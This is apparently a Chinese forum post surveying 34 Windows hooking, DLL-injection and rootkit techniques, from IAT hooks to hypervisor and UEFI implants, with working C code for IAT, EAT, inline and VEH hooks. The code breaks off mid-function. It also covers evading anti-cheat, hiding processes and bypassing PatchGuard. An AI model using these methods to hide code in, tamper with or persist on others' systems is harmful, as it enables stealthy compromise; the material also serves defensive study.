首页
社区
课程
招聘
[原创]整理Windows 全架构 Hook 技术图谱:从 Ring3 到固件层 34 种实现
发表于: 17小时前 618

[原创]整理Windows 全架构 Hook 技术图谱:从 Ring3 到固件层 34 种实现

17小时前
618

从最容易被检测的用户态 Hook,到理论上无法被静态发现的 Hypervisor 级 Hook,按隐蔽性从低到高排列。每种技术均提供完整可编译的实现代码。

用户态 Hook 是最基础的拦截手段,所有代码运行在应用层,任何反作弊/安全软件只要扫描进程内存就能发现。隐蔽性最低,但开发成本也最低。

PE 文件加载时,Loader 会填充 IAT(Import Address Table),记录每个导入函数的实际地址。IAT Hook 直接修改这张表里的函数指针,让程序调用时跳到你的函数。

遍历 IAT,对比每个条目是否指向对应 DLL 的地址范围内即可发现。CRC 校验 IAT 区域也能立即暴露。

修改 DLL 的 EAT(Export Address Table),让后续模块通过 GetProcAddress 获取到的地址是 Hook 函数。

和 IAT Hook 一样,对比 EAT 条目与磁盘原始文件即可发现。

直接修改目标函数的头部字节,写入一条 jmp 指令跳转到你的 Hook 函数。执行完自定义逻辑后,跳回被覆盖的原始指令继续执行(Trampoline)。

读取函数头几字节,对比磁盘上的原始 DLL 即可发现。大部分反作弊都会做完整性校验。

利用 Windows 向量化异常处理机制(VEH),通过设置硬件断点或内存保护异常,在目标函数执行时触发异常,在异常处理器中劫持执行流。

利用 PAGE_GUARD 内存保护属性。对目标函数所在页设置 PAGE_GUARD,首次访问时触发 STATUS_GUARD_PAGE_VIOLATION 异常,在 VEH 处理器中进行拦截。

TLS(Thread Local Storage)Callback 是 PE 文件中注册的回调函数,在进程/线程创建和终止时被调用,且在 DLL_PROCESS_ATTACH 之前执行。利用这个时机可以在程序的 main 函数之前就完成 Hook 安装。

微软为了支持热补丁,很多系统函数头部保留 mov edi, edi(2字节 NOP)和预留空间,前面还有 5 字节的 nop 填充。利用这些空间写入短跳转 + 近跳转,实现不覆盖任何有效指令的 Hook。

虽然利用了合法的热补丁机制,但 mov edi, edi 被改写一样可以被检测到。

Windows 提供了 NtSetInformationProcess + ProcessInstrumentationCallback 机制。设置后每次从内核返回用户态时,都会跳转到指定的回调函数,相当于 Hook 了所有系统调用的返回路径。

现代反作弊会直接从 ntdll.dll 中读取 syscall 编号(SSN),绕过所有用户态 Hook 直接执行 syscall 指令。对抗方式是修改 ntdll 的 syscall stub 中的 SSN 或 syscall 指令本身。

直接读取 ntdll 的 .text 段对比磁盘文件即可发现修改。

现代反作弊(如 EAC、BattlEye)的做法:

Windows 消息机制提供了全局钩子接口 SetWindowsHookEx,可以拦截系统范围内的键盘、鼠标、窗口消息等事件。设置全局钩子时,系统会将指定的 DLL 注入到所有拥有消息循环的进程中,这使它成为最经典的 DLL 注入 + 行为监控手段。

钩子类型包括:WH_KEYBOARD_LL(低级键盘)、WH_MOUSE_LL(低级鼠标)、WH_CBT(窗口创建/销毁/激活)、WH_GETMESSAGE(消息队列)、WH_CALLWNDPROC(窗口过程调用)等。

Windows 在加载 user32.dll 时会检查注册表 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs,如果该键非空,则将指定的 DLL 加载到每个使用 user32.dll 的进程中。这是最古老的全局注入手段之一。

Win8+ 需要额外设置 LoadAppInit_DLLs = 1,Win10 Secure Boot 模式下被彻底禁用(RequireSignedAppInit_DLLs)。

Image File Execution Options(映像文件执行选项)是 Windows 提供的调试辅助功能。通过在注册表 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options<exe> 下设置 Debugger 值,可以让系统在启动指定程序时自动启动另一个程序(原程序路径作为参数传入)。

高级用法还包括 GlobalFlag(启用页堆等调试功能)和 VerifierDlls(Application Verifier 注入自定义 DLL)。

Windows 输入法(IME)通过注册表 HKLM\SYSTEM\CurrentControlSet\Control\Keyboard Layouts 注册,每个输入法对应一个 DLL。当用户切换到该输入法时,系统会将对应的 IME DLL 加载到当前焦点进程中。通过注册一个伪造的输入法 DLL,可以实现对任意 GUI 进程的 DLL 注入。

更高级的方式是使用 Text Services Framework(TSF),通过 COM 接口注册 Text Input Processor,实现更隐蔽的注入。

Windows Application Compatibility Framework 允许通过 SDB 文件对应用程序做内存补丁。可重定向 API 调用、修改内存代码(InMemoryPatch)、注入 DLL(InjectDll shim)。系统在进程创建时由 ntdll!LdrpInitShimEngine 自动应用匹配的 Shim。

Windows COM 通过注册表 CLSID 查找组件 DLL 路径。HKCU 优先于 HKLM,因此无需管理员权限即可劫持。系统中存在大量 Abandoned COM 对象(DLL 已删除但注册表未清理),可直接植入 DLL 利用。

Winsock Layered Service Provider 在 Winsock API 和底层传输协议间插入自定义层。LSP DLL 被自动加载到所有使用网络的进程中(浏览器、游戏、IM 等),可拦截 connect/send/recv 等所有网络操作。通过 WSCInstallProvider API 安装,注册表位于 Protocol_Catalog9

Win10+ 虽已弃用 LSP(推荐 WFP),但为向后兼容仍然支持加载。

Windows 加载 DLL 时按照固定顺序搜索:

在高优先级目录中植入与目标 DLL 同名的文件,即可劫持加载。核心系统 DLL 受 KnownDlls 注册表保护(始终从 System32 加载),但第三方依赖和非 KnownDll 的系统 DLL 仍可被劫持。

进入内核态后,Hook 的威力和隐蔽性都大幅提升,但同时要面对 PatchGuard 这个「巡逻兵」。以下这些传统内核 Hook 技术在 Windows XP/7 时代是主流,但在 Win10+ 环境下大部分已经被 PatchGuard 监控。

SSDT(System Service Descriptor Table)是内核中的一张函数指针表,syscall 进入内核后通过 SSN 索引到这张表找到对应的内核函数。修改表项即可拦截所有系统调用。

PatchGuard 直接监控 SSDT,定期对比校验和。一旦发现修改 → 延迟蓝屏(故意随机延迟使调试困难)。

IDT(Interrupt Descriptor Table)存储着中断/异常处理器的入口。修改 IDT 条目可以拦截特定中断,比如 int 0x2E(旧版系统调用入口)、int 0x03(断点)、int 0x0E(缺页异常)。

PatchGuard 同样监控 IDT。而且 IDT 是每个 CPU 核心独立的,要 Hook 必须修改所有核心的 IDT,增加了暴露面。

Windows 驱动使用 IRP(I/O Request Packet)进行通信。每个驱动对象(DRIVER_OBJECT)有一个 MajorFunction 数组,存放了 28 种 IRP 处理函数的指针。替换这些指针即可拦截所有发往该驱动的 I/O 操作。

DKOM 不是传统意义上的"Hook",而是通过直接修改内核数据结构来隐藏进程、驱动、端口等。把目标进程从 ActiveProcessLinks 双向链表中摘除,进程管理器就看不见了。

x64 Windows 执行 syscall 指令时,CPU 从 IA32_LSTAR(MSR 0xC0000082)读取内核入口地址(KiSystemCall64)。修改这个 MSR 值,所有系统调用都会先经过你的函数。

通过在 GDT(全局描述符表)中创建 Call Gate,用户态程序可以通过 call far 指令直接跳转到内核态指定地址,绕过 syscall 路径。也可以修改现有 GDT 条目来劫持段切换。

PatchGuard 监控 GDT。而且现代 Windows 几乎不使用 Call Gate,出现一个就极其可疑。

这一层的技术大多利用了 Windows 合法的内核回调机制或巧妙的绕过策略,不直接修改被 PatchGuard 监控的关键结构,因此在现代 Windows 上仍有生存空间。

Windows 内核提供了大量官方回调注册 API,用于监控系统事件。这不算真正的"Hook",但效果类似——你能在关键事件发生时执行自定义代码。

利用 Windows 内核的 ETW(Event Tracing for Windows)日志机制。内核在执行系统调用时可能会调用 syscall ETW provider 发送一条日志回调。通过替换该回调的函数指针,可以在每次 syscall 时获得控制权,而不需要修改 SSDT 或 MSR。

仍然使用 Inline Hook,但配合 PatchGuard 绕过技术。PatchGuard 的检查有固定的定时和 DPC 机制,可以通过多种方式使其失效或规避。

Windows Filtering Platform(WFP)允许驱动注册 Callout 来处理网络数据包。这是微软官方推荐的网络过滤方式,替代了旧的 TDI/NDIS Hook。

修改页表(PTE)中的页帧号(PFN),让目标虚拟地址映射到另外准备好的包含 Hook 代码的物理页帧。读取时看到原始代码页,执行时走到我们的页。

这是 Windows 平台上隐蔽性最强的一层。Hypervisor 运行在所有软件的下面(包括 Windows 内核),拥有对物理内存、CPU 状态、I/O 的完全控制权。在这个层面实施的 Hook,操作系统本身看到的所有信息都可以被伪造。

EPT(Extended Page Table)是 Intel VT-x 提供的第二层地址翻译。Guest 的物理地址(GPA)通过 EPT 映射到实际的主机物理地址(HPA)。EPT 的每个条目都有独立的 Read/Write/Execute 权限位。

核心思想:对同一个 GPA,让读写操作映射到干净原始页,让执行操作映射到包含 Hook 代码的页

VMFUNC 是 Intel 在 Haswell+ 处理器上引入的指令,允许 Guest 在不触发 VM-Exit 的情况下切换 EPTP(EPT Pointer),即瞬间切换到不同的物理内存视图。

VMX 的 MSR Bitmap 可以选择性地让某些 MSR 的读写触发 VM-Exit。配合 EPT Hook,可以拦截任何通过 MSR 实现的功能(性能计数器、电源控制、安全特性等),同时让检测工具读到伪造的 MSR 值。

Hypervisor 的存在可以通过 CPUID 指令被检测(VMX 会让 CPUID.1:ECX.bit31 = 1)。同时 VM-Exit 会引入可测量的时间延迟。通过拦截 CPUID 和补偿 TSC(时间戳计数器),可以让检测工具完全无法发现 Hypervisor。

这一层已经超越了软件的范畴,涉及 CPU 微码、固件、外部硬件设备。即使 Hypervisor 也无法检测或防御这一层的攻击。

SMM(System Management Mode)是 x86 CPU 中最高特权级的执行模式,比 Ring -1(Hypervisor)还高。SMM 代码运行在 SMRAM 中,对操作系统和 Hypervisor 完全不可见。

通过 PCIe/Thunderbolt 设备的 DMA(Direct Memory Access)能力,直接读写主机物理内存,完全绕过 CPU 的所有保护机制。不需要在目标系统上执行任何代码。

在 UEFI 固件中植入恶意代码。由于 UEFI 在操作系统之前执行,可以在 OS 加载前修改任何数据(包括 bootloader、内核加载器),绕过内核保护。即使重装系统、更换硬盘也无法清除。

Windows Hook 技术经过 20+ 年的进化,已经从简单粗暴的 IAT 修改,发展到需要理解 Intel VT-x 手册才能实现的 EPT 量子级技术。每一道微软加固的防线,都催生了更底层的一次突破:

核心公理:谁控制了更底层的抽象,谁就拥有绝对控制权。 上层的任何检测手段都可以被下层伪造——这就是为什么 EPT Hook 之后在纯软件层面几乎不可检测的根本原因。

维度 普通 EPT Hook VMFUNC EPTP Switching
视图切换方式 EPT Violation → VM-Exit VMFUNC 指令(无 VM-Exit)
性能开销 每次切换 ~1000-3000 cycles ~100 cycles
时序攻击风险 有(VM-Exit 延迟可测量) 极低(指令级速度)
CPU 要求 VT-x + EPT Haswell+ (2013+)
复杂度 中等 高(需要维护多套 EPT)
# 技术 层级 隐蔽性 PatchGuard 修改目标代码 适用场景
1 IAT Hook Ring 3 ★☆☆☆☆ N/A 否(改表) 最基础的用户态拦截
2 EAT Hook Ring 3 ★☆☆☆☆ N/A 否(改表) 劫持动态获取的函数
3 Inline Hook Ring 3 ★★☆☆☆ N/A 通用函数 Hook
4 VEH/HWBP Hook Ring 3 ★★★☆☆ N/A 反调试场景(4个限制)
5 PAGE_GUARD Hook Ring 3 ★★☆☆☆ N/A 概念性方案(性能极差)
6 TLS Callback Ring 3 ★★☆☆☆ N/A 早期初始化 Hook
7 Hotpatch Hook Ring 3 ★★☆☆☆ N/A 部分 利用微软预留空间
8 Instrumentation Callback Ring 3 ★★★☆☆ N/A 全局 syscall 返回拦截
9 Syscall Stub Patch Ring 3 ★★☆☆☆ N/A 对抗直接 syscall
10 SetWindowsHookEx Ring 3 ★☆☆☆☆ N/A 全局消息钩子 + DLL 注入
11 AppInit_DLLs Ring 3 ★☆☆☆☆ N/A 注册表全局 DLL 注入
12 IFEO Ring 3 ★★☆☆☆ N/A 映像劫持 / Verifier 注入
13 IME 注入 Ring 3 ★★☆☆☆ N/A 输入法 DLL 加载到 GUI 进程
14 Shim Engine Ring 3 ★★★☆☆ N/A (内存) SDB 内存补丁 / DLL 注入
15 COM Hijacking Ring 3 ★★★☆☆ N/A 注册表 COM 对象劫持
16 Winsock LSP Ring 3 ★★☆☆☆ N/A 全局网络流量拦截
17 DLL Hijacking Ring 3 ★★☆☆☆ N/A DLL 搜索顺序劫持
18 SSDT Hook Ring 0 ★★☆☆☆ 必杀 否(改表) XP/7 时代主流
19 IDT Hook Ring 0 ★★☆☆☆ 必杀 否(改表) 拦截中断/异常
20 IRP Hook Ring 0 ★★★☆☆ 不直接 否(改指针) 文件/设备过滤
21 DKOM Ring 0 ★★★☆☆ 部分检测 否(改链表) 隐藏进程/驱动
22 MSR Hook Ring 0 ★★☆☆☆ 监控 否(改MSR) 全局 syscall 拦截
23 GDT/Call Gate Ring 0 ★★☆☆☆ 监控 否(改描述符) Ring3→Ring0 跳板
24 Kernel Callback Ring 0 ★☆☆☆☆ 不触发 官方合法 API
25 Infinity Hook Ring 0 ★★★★☆ 不触发 否(改ETW指针) 绕 PG 拦截所有 syscall
26 PG Bypass + Inline Ring 0 ★★★☆☆ 绕过 高风险但有效
27 WFP Callout Ring 0 ★☆☆☆☆ 不触发 网络数据包过滤
28 PTE Hook Ring 0 ★★★★☆ 部分检测 否(改PTE) 代码页重定向
29 EPT Hook Ring -1 ★★★★★ 无效 终极内核 Hook
30 VMFUNC EPTP Switch Ring -1 ★★★★★+ 无效 零 VM-Exit 视图切换
31 EPT + MSR Bitmap Ring -1 ★★★★★ 无效 代码+数据双伪装
32 SMM Hook Ring -2 ★★★★★★ 无效 固件级 固件级后门
33 DMA Attack 硬件 ★★★★★★ 无效 物理级 外部设备直接改内存
34 UEFI Rootkit 固件 ★★★★★★ 无效 固件级 持久化后门
#include <windows.h>
#include <winternl.h>

typedef HANDLE(WINAPI* fnOpenProcess)(DWORD, BOOL, DWORD);
fnOpenProcess OriginalOpenProcess = NULL;

// Hook 函数
HANDLE WINAPI HookedOpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId) {
    // 过滤掉对保护进程的访问
    if (dwProcessId == GetProtectedPid()) {
        SetLastError(ERROR_ACCESS_DENIED);
        return NULL;
    }
    return OriginalOpenProcess(dwDesiredAccess, bInheritHandle, dwProcessId);
}

// IAT Hook 核心逻辑
BOOL IatHook(HMODULE hModule, const char* dllName, const char* funcName, PVOID hookFunc, PVOID* originalFunc) {
    // 获取 DOS Header
    PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hModule;
    if (pDos->e_magic != IMAGE_DOS_SIGNATURE) return FALSE;
    
    // 获取 NT Header
    PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)hModule + pDos->e_lfanew);
    if (pNt->Signature != IMAGE_NT_SIGNATURE) return FALSE;
    
    // 获取导入表 RVA
    DWORD importRva = pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
    if (importRva == 0) return FALSE;
    
    PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)((BYTE*)hModule + importRva);
    
    // 遍历每个导入的 DLL
    while (pImport->Name) {
        char* modName = (char*)((BYTE*)hModule + pImport->Name);
        if (_stricmp(modName, dllName) == 0) {
            // 找到目标 DLL,遍历其 IAT
            PIMAGE_THUNK_DATA pOrigThunk = (PIMAGE_THUNK_DATA)((BYTE*)hModule + pImport->OriginalFirstThunk);
            PIMAGE_THUNK_DATA pThunk = (PIMAGE_THUNK_DATA)((BYTE*)hModule + pImport->FirstThunk);
            
            while (pOrigThunk->u1.AddressOfData) {
                // 通过名字匹配
                if (!(pOrigThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG)) {
                    PIMAGE_IMPORT_BY_NAME pName = (PIMAGE_IMPORT_BY_NAME)((BYTE*)hModule + pOrigThunk->u1.AddressOfData);
                    if (strcmp(pName->Name, funcName) == 0) {
                        // 找到目标函数,保存原始地址
                        *originalFunc = (PVOID)pThunk->u1.Function;
                        
                        // 修改内存保护
                        DWORD oldProtect;
                        VirtualProtect(&pThunk->u1.Function, sizeof(ULONG_PTR), PAGE_READWRITE, &oldProtect);
                        pThunk->u1.Function = (ULONG_PTR)hookFunc;
                        VirtualProtect(&pThunk->u1.Function, sizeof(ULONG_PTR), oldProtect, &oldProtect);
                        return TRUE;
                    }
                }
                pOrigThunk++;
                pThunk++;
            }
        }
        pImport++;
    }
    return FALSE;
}

// 使用
void InstallIatHook() {
    IatHook(GetModuleHandle(NULL), "kernel32.dll", "OpenProcess", 
            HookedOpenProcess, (PVOID*)&OriginalOpenProcess);
}
BOOL EatHook(HMODULE hDll, const char* funcName, PVOID hookFunc, PVOID* originalFunc) {
    PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hDll;
    PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)hDll + pDos->e_lfanew);
    
    DWORD exportRva = pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    if (exportRva == 0) return FALSE;
    
    PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hDll + exportRva);
    DWORD* pFunctions = (DWORD*)((BYTE*)hDll + pExport->AddressOfFunctions);
    DWORD* pNames = (DWORD*)((BYTE*)hDll + pExport->AddressOfNames);
    WORD* pOrdinals = (WORD*)((BYTE*)hDll + pExport->AddressOfNameOrdinals);
    
    for (DWORD i = 0; i < pExport->NumberOfNames; i++) {
        char* name = (char*)((BYTE*)hDll + pNames[i]);
        if (strcmp(name, funcName) == 0) {
            // 保存原始函数地址
            *originalFunc = (PVOID)((BYTE*)hDll + pFunctions[pOrdinals[i]]);
            
            // 计算 Hook 函数相对于 DLL 基址的 RVA
            DWORD hookRva = (DWORD)((BYTE*)hookFunc - (BYTE*)hDll);
            
            DWORD oldProtect;
            VirtualProtect(&pFunctions[pOrdinals[i]], sizeof(DWORD), PAGE_READWRITE, &oldProtect);
            pFunctions[pOrdinals[i]] = hookRva;
            VirtualProtect(&pFunctions[pOrdinals[i]], sizeof(DWORD), oldProtect, &oldProtect);
            return TRUE;
        }
    }
    return FALSE;
}

// 注意:EAT Hook 的 hookFunc 地址必须在目标 DLL 的地址空间内
// 否则 RVA 会溢出。解决方案:在目标 DLL 附近分配内存作为跳板
PVOID AllocateNearby(HMODULE hDll, SIZE_T size) {
    MEMORY_BASIC_INFORMATION mbi;
    BYTE* addr = (BYTE*)hDll;
    
    // 在 DLL 前后 2GB 范围内找可用空间(RVA 是 32 位有符号偏移)
    for (BYTE* p = addr - 0x70000000; p < addr + 0x70000000; p += mbi.RegionSize) {
        if (VirtualQuery(p, &mbi, sizeof(mbi)) == 0) continue;
        if (mbi.State == MEM_FREE && mbi.RegionSize >= size) {
            PVOID alloc = VirtualAlloc(p, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            if (alloc) return alloc;
        }
    }
    return NULL;
}
#include <windows.h>
#include <stdint.h>

// x64 指令长度解析器(简化版,覆盖常见指令)
// 完整版应使用 Zydis/distorm 等反汇编库
typedef struct _INSTRUCTION {
    uint8_t length;
    BOOL isRipRelative;      // 是否包含 RIP 相对寻址
    int32_t ripOffset;       // RIP 偏移在指令中的位置
    int32_t ripDisplacement; // 原始 displacement 值
} INSTRUCTION;

// 解析单条指令长度(简化版核心逻辑)
INSTRUCTION ParseInstruction(const uint8_t* code) {
    INSTRUCTION inst = {0};
    const uint8_t* p = code;
    
    // 跳过前缀 (REX, LOCK, REP, segment override 等)
    while (*p == 0xF0 || *p == 0xF2 || *p == 0xF3 || 
           *p == 0x26 || *p == 0x2E || *p == 0x36 || *p == 0x3E ||
           *p == 0x64 || *p == 0x65 || *p == 0x66 || *p == 0x67 ||
           (*p >= 0x40 && *p <= 0x4F)) { // REX prefix
        p++;
    }
    
    uint8_t opcode = *p++;
    
    // 处理双字节操作码 (0F xx)
    if (opcode == 0x0F) {
        uint8_t op2 = *p++;
        // ModRM
        if (op2 >= 0x80 && op2 <= 0x8F) {
            // Jcc rel32 (条件跳转)
            inst.length = (int)(p - code) + 4;
            inst.isRipRelative = TRUE;
            inst.ripOffset = (int)(p - code);
            inst.ripDisplacement = *(int32_t*)p;
            return inst;
        }
        // 其他 0F xx 指令处理...
        if ((op2 & 0xC0) != 0xC0) { // 有 ModRM
            uint8_t modrm = *p++;
            uint8_t mod = (modrm >> 6) & 3;
            uint8_t rm = modrm & 7;
            if (mod == 0 && rm == 5) { // RIP-relative
                inst.isRipRelative = TRUE;
                inst.ripOffset = (int)(p - code);
                inst.ripDisplacement = *(int32_t*)p;
                p += 4;
            } else if (mod == 0 && rm == 4) { p++; } // SIB
            else if (mod == 1) { if (rm == 4) p++; p++; }
            else if (mod == 2) { if (rm == 4) p++; p += 4; }
        }
        inst.length = (int)(p - code);
        return inst;
    }
    
    // 单字节操作码处理
    switch (opcode) {
        case 0xE8: // CALL rel32
        case 0xE9: // JMP rel32
            inst.length = (int)(p - code) + 4;
            inst.isRipRelative = TRUE;
            inst.ripOffset = (int)(p - code);
            inst.ripDisplacement = *(int32_t*)p;
            return inst;
        case 0xEB: // JMP rel8
            inst.length = (int)(p - code) + 1;
            inst.isRipRelative = TRUE;
            inst.ripOffset = (int)(p - code);
            inst.ripDisplacement = (int8_t)*p;
            return inst;
        // ... 其他操作码
    }
    
    // 通用 ModRM 解析
    // (这里省略完整的操作码表映射,实际项目应使用 Zydis)
    inst.length = (int)(p - code);
    if (inst.length == 0) inst.length = 1; // 兜底
    return inst;
}

// Trampoline 构建器:将被覆盖的原始指令复制到 trampoline,并修正 RIP 相对引用
#define HOOK_STUB_SIZE 14  // x64 绝对跳转: FF 25 00 00 00 00 [8字节地址]
#define TRAMPOLINE_MAX 64

typedef struct _HOOK_CONTEXT {
    void* pTarget;                           // 原始函数地址
    void* pDetour;                           // Hook 函数地址
    uint8_t trampoline[TRAMPOLINE_MAX];      // Trampoline 缓冲区
    uint8_t originalBytes[HOOK_STUB_SIZE];   // 备份的原始字节
    uint32_t stolenLength;                   // 实际偷取的字节数
    void* pTrampoline;                       // Trampoline 可执行内存
} HOOK_CONTEXT;

BOOL BuildTrampoline(HOOK_CONTEXT* ctx) {
    uint8_t* src = (uint8_t*)ctx->pTarget;
    uint8_t* dst = ctx->trampoline;
    uint32_t totalCopied = 0;
    
    // 需要至少偷取 HOOK_STUB_SIZE 字节的完整指令
    while (totalCopied < HOOK_STUB_SIZE) {
        INSTRUCTION inst = ParseInstruction(src + totalCopied);
        
        if (inst.isRipRelative) {
            // RIP 相对指令需要重定位
            // 计算原始目标地址
            uint8_t* originalRip = src + totalCopied + inst.length; // 执行完该指令后的 RIP
            void* absoluteTarget = originalRip + inst.ripDisplacement;
            
            // 计算新的 displacement(从 trampoline 中的新位置到同一个绝对目标)
            uint8_t* newRip = dst + inst.length;
            int64_t newDisp = (int64_t)((uint8_t*)absoluteTarget - newRip);
            
            if (newDisp > INT32_MAX || newDisp < INT32_MIN) {
                // 距离超过 ±2GB,需要用绝对跳转间接寻址
                // 这种情况在 trampoline 分配在远处时会发生
                // 解决:在 trampoline 末尾放跳转表
                memcpy(dst, src + totalCopied, inst.length);
                // 将 displacement 改为指向 trampoline 内的跳转表
                // (此处简化处理,实际需要跳转表机制)
                return FALSE; // 需要更复杂的处理
            }
            
            // 复制指令,修改 displacement
            memcpy(dst, src + totalCopied, inst.length);
            *(int32_t*)(dst + inst.ripOffset) = (int32_t)newDisp;
        } else {
            // 非 RIP 相对指令,直接复制
            memcpy(dst, src + totalCopied, inst.length);
        }
        
        dst += inst.length;
        totalCopied += inst.length;
    }
    
    ctx->stolenLength = totalCopied;
    
    // 在 trampoline 末尾追加绝对跳转回原始函数(跳过被偷取的部分)
    // FF 25 00 00 00 00 [目标地址 8字节]
    *dst++ = 0xFF;
    *dst++ = 0x25;
    *(uint32_t*)dst = 0; dst += 4;
    *(uint64_t*)dst = (uint64_t)(src + totalCopied); dst += 8;
    
    // 分配可执行内存给 trampoline
    size_t trampolineSize = (size_t)(dst - ctx->trampoline);
    ctx->pTrampoline = VirtualAlloc(NULL, trampolineSize, 
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!ctx->pTrampoline) return FALSE;
    
    memcpy(ctx->pTrampoline, ctx->trampoline, trampolineSize);
    return TRUE;
}

// 安装 Hook
BOOL InstallInlineHook(HOOK_CONTEXT* ctx) {
    // 备份原始字节
    memcpy(ctx->originalBytes, ctx->pTarget, HOOK_STUB_SIZE);
    
    // 构建 Trampoline
    if (!BuildTrampoline(ctx)) return FALSE;
    
    // 写入跳转到 Detour
    DWORD oldProtect;
    VirtualProtect(ctx->pTarget, HOOK_STUB_SIZE, PAGE_EXECUTE_READWRITE, &oldProtect);
    
    uint8_t* p = (uint8_t*)ctx->pTarget;
    p[0] = 0xFF;
    p[1] = 0x25;
    *(uint32_t*)(p + 2) = 0;
    *(uint64_t*)(p + 6) = (uint64_t)ctx->pDetour;
    
    VirtualProtect(ctx->pTarget, HOOK_STUB_SIZE, oldProtect, &oldProtect);
    FlushInstructionCache(GetCurrentProcess(), ctx->pTarget, HOOK_STUB_SIZE);
    return TRUE;
}

// 卸载 Hook
BOOL RemoveInlineHook(HOOK_CONTEXT* ctx) {
    DWORD oldProtect;
    VirtualProtect(ctx->pTarget, HOOK_STUB_SIZE, PAGE_EXECUTE_READWRITE, &oldProtect);
    memcpy(ctx->pTarget, ctx->originalBytes, HOOK_STUB_SIZE);
    VirtualProtect(ctx->pTarget, HOOK_STUB_SIZE, oldProtect, &oldProtect);
    FlushInstructionCache(GetCurrentProcess(), ctx->pTarget, HOOK_STUB_SIZE);
    
    if (ctx->pTrampoline) {
        VirtualFree(ctx->pTrampoline, 0, MEM_RELEASE);
        ctx->pTrampoline = NULL;
    }
    return TRUE;
}

// 线程安全 Hook 安装(暂停其他线程避免竞态)
BOOL SafeInstallHook(HOOK_CONTEXT* ctx) {
    // 挂起所有其他线程
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    THREADENTRY32 te = { .dwSize = sizeof(te) };
    DWORD currentThread = GetCurrentThreadId();
    DWORD currentProcess = GetCurrentProcessId();
    
    HANDLE suspendedThreads[256];
    int suspendCount = 0;
    
    if (Thread32First(hSnap, &te)) {
        do {
            if (te.th32OwnerProcessID == currentProcess && te.th32ThreadID != currentThread) {
                HANDLE hThread = OpenThread(THREAD_SUSPEND_RESUME, FALSE, te.th32ThreadID);
                if (hThread) {
                    SuspendThread(hThread);
                    suspendedThreads[suspendCount++] = hThread;
                }
            }
        } while (Thread32Next(hSnap, &te) && suspendCount < 256);
    }
    CloseHandle(hSnap);
    
    // 安装 Hook
    BOOL result = InstallInlineHook(ctx);
    
    // 恢复所有线程
    for (int i = 0; i < suspendCount; i++) {
        ResumeThread(suspendedThreads[i]);
        CloseHandle(suspendedThreads[i]);
    }
    return result;
}
#include <windows.h>
#include <tlhelp32.h>

typedef struct _VEH_HOOK_ENTRY {
    PVOID targetAddress;      // 要 Hook 的地址
    PVOID hookFunction;       // Hook 函数
    PVOID originalFunction;   // 原始函数(通过 trampoline 调用)
    int drIndex;              // 使用的 DR 寄存器索引 (0-3)
} VEH_HOOK_ENTRY;

#define MAX_VEH_HOOKS 4
VEH_HOOK_ENTRY g_vehHooks[MAX_VEH_HOOKS] = {0};
int g_vehHookCount = 0;
PVOID g_vehHandle = NULL;

// VEH 异常处理器
LONG CALLBACK VehExceptionHandler(PEXCEPTION_POINTERS pExInfo) {
    if (pExInfo->ExceptionRecord->ExceptionCode != EXCEPTION_SINGLE_STEP)
        return EXCEPTION_CONTINUE_SEARCH;
    
    // 检查是哪个 Hook 触发的
    for (int i = 0; i < g_vehHookCount; i++) {
        if ((PVOID)pExInfo->ContextRecord->Rip == g_vehHooks[i].targetAddress) {
            // 劫持 RIP 到 Hook 函数
            pExInfo->ContextRecord->Rip = (DWORD64)g_vehHooks[i].hookFunction;
            
            // 清除该 DR 的触发标志(DR6)
            pExInfo->ContextRecord->Dr6 = 0;
            
            return EXCEPTION_CONTINUE_EXECUTION;
        }
    }
    
    return EXCEPTION_CONTINUE_SEARCH;
}

// 对单个线程设置 Debug Register
BOOL SetThreadHwbp(HANDLE hThread, int drIndex, PVOID address) {
    CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
    
    if (!GetThreadContext(hThread, &ctx)) return FALSE;
    
    // 设置 DRn 地址
    switch (drIndex) {
        case 0: ctx.Dr0 = (DWORD64)address; break;
        case 1: ctx.Dr1 = (DWORD64)address; break;
        case 2: ctx.Dr2 = (DWORD64)address; break;
        case 3: ctx.Dr3 = (DWORD64)address; break;
    }
    
    // 配置 DR7:启用对应断点,条件=执行,长度=1字节
    // DR7 格式:
    // Bit 0,2,4,6: Local Enable for DR0-3
    // Bit 16-17: Condition for DR0 (00=执行)
    // Bit 18-19: Length for DR0 (00=1字节)
    // 每个 DR 占 4 位 condition+length,从 bit 16 开始
    ctx.Dr7 &= ~(3ULL << (drIndex * 2));      // 清除 enable 位
    ctx.Dr7 |= (1ULL << (drIndex * 2));        // 设置 local enable
    ctx.Dr7 &= ~(0xFULL << (16 + drIndex * 4)); // 清除 condition+length
    // condition=00 (执行), length=00 (1字节) → 无需额外设置
    
    return SetThreadContext(hThread, &ctx);
}

// 清除单个线程的 Debug Register
BOOL ClearThreadHwbp(HANDLE hThread, int drIndex) {
    CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
    
    if (!GetThreadContext(hThread, &ctx)) return FALSE;
    
    switch (drIndex) {
        case 0: ctx.Dr0 = 0; break;
        case 1: ctx.Dr1 = 0; break;
        case 2: ctx.Dr2 = 0; break;
        case 3: ctx.Dr3 = 0; break;
    }
    ctx.Dr7 &= ~(1ULL << (drIndex * 2)); // 禁用
    
    return SetThreadContext(hThread, &ctx);
}

// 对进程所有线程设置硬件断点
BOOL SetAllThreadsHwbp(int drIndex, PVOID address) {
